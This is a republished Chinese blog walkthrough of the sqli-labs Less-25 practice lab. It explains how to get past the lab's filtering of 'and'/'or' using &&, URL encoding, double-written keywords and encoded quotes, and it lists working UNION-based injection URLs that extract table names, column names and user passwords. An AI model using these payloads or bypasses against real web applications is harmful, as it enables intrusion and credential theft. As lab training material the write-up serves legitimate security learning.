欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 科技 > 能源 > sqli-labs less-25 and/or绕过

sqli-labs less-25 and/or绕过

2024/10/26 5:31:34 来源:https://blog.csdn.net/wanggonghanfei/article/details/142899429  浏览:    关键词:sqli-labs less-25 and/or绕过

来到less-25
在这里插入图片描述
我们可以看到下面有提示,Hint: Your Input is Filtered with following result: 说明本关卡有过滤,
构造

http://192.168.140.130/sq/Less-25/?id=1’

页面报错,从报错可以得知闭合方式为',所以

用注释符,发现注释符被过滤了

http://192.168.140.130/sq/Less-25/?id=1’ #
在这里插入图片描述
构造
http://192.168.140.130/sq/Less-25/?id=1’ or ‘1’=‘1
http://192.168.140.130/sq/Less-25/?id=1’ and ‘1’='1

虽然回显正常,但是我们从页面下方的提示可以看到我们的and和or都被过滤了,从和黑测试的角度出发,我们不难猜到,注释符,and,or都被本关过滤,所以先来了解一下and/or的绕过方式,注释符在之前23关已经了解过,不做过多讲解。

And/or绕过

or ——> ||
and ——> &&
xor ——> |
not ——> !

十六进制绕过
or ——> o\x72

大小写绕过
Or
aNd

双写绕过
oorr
anandd

urlencode,ascii(char),hex,unicode编码绕过
一些unicode编码举例:
单引号:’
%u0027 %u02b9 %u02bc
%u02c8 %u2032
%uff07 %c0%27
%c0%a7 %e0%80%a7

关键字内联注释尝试绕所有
/!or/
/!and/

参考自:SQL注入绕过速查表

and绕过

所以在less-25我们对and使用||进行绕过

http://192.168.140.130/sq/Less-25/?id=1’ AND ‘1’='1

发现大小写会被被过滤,使用&&符号,还是被过滤,使用&&的URL编码绕过,成功没有被过滤。

http://192.168.140.130/sq/Less-25/?id=1’ %26%26 ‘1’='1在这里插入图片描述

测试列数

http://192.168.140.130/sq/Less-25/?id=1’ order by 5 %26%26 ‘1’='1

发现因为order中有or被过滤,可以使用双写绕过

http://192.168.140.130/sq/Less-25/?id=1’ oorrder by 5 %26%26 ‘1’='1
没有被过滤,但是无论测试多少列,都没有报错,怀疑不能使用这种方法测试列数

所以可以使用union select来依次尝试

http://192.168.140.130/sq/Less-25/?id=-1’ union select 1,2,3 %26%26 ‘1’='1

发现3的时候回显正常,且暴漏出回显位。确定列数与回显位。

爆数据

接下来就简单了。按照之前的语句直接报数据,不做过多讲解,

  • http://192.168.140.130/sq/Less-25/?id=-1’ union select 1,(select database()),3 %26%26 ‘1’='1
  • 数据库名
  • http://192.168.140.130/sq/Less-25/?id=-1’ union select 1,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()),3 %26%26 ‘1’='1
  • 表名,information中有or字符,要进行双写绕过。
  • http://192.168.140.130/sq/Less-25/?id=-1’ union select 1,(select group_concat(column_name) from infoorrmation_schema.columns where table_schema=database() aandnd table_name=‘users’),3 %26%26 ‘1’='1
  • 也要注意加重位置绕过
  • http://192.168.140.130/sq/Less-25/?id=-1’ union select 1,(select group_concat(username,‘-’,passwoorrd) from security.users),3 %26%26 ‘1’='1
  • 数据

大家可以对其他绕过方式也进行尝试,

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com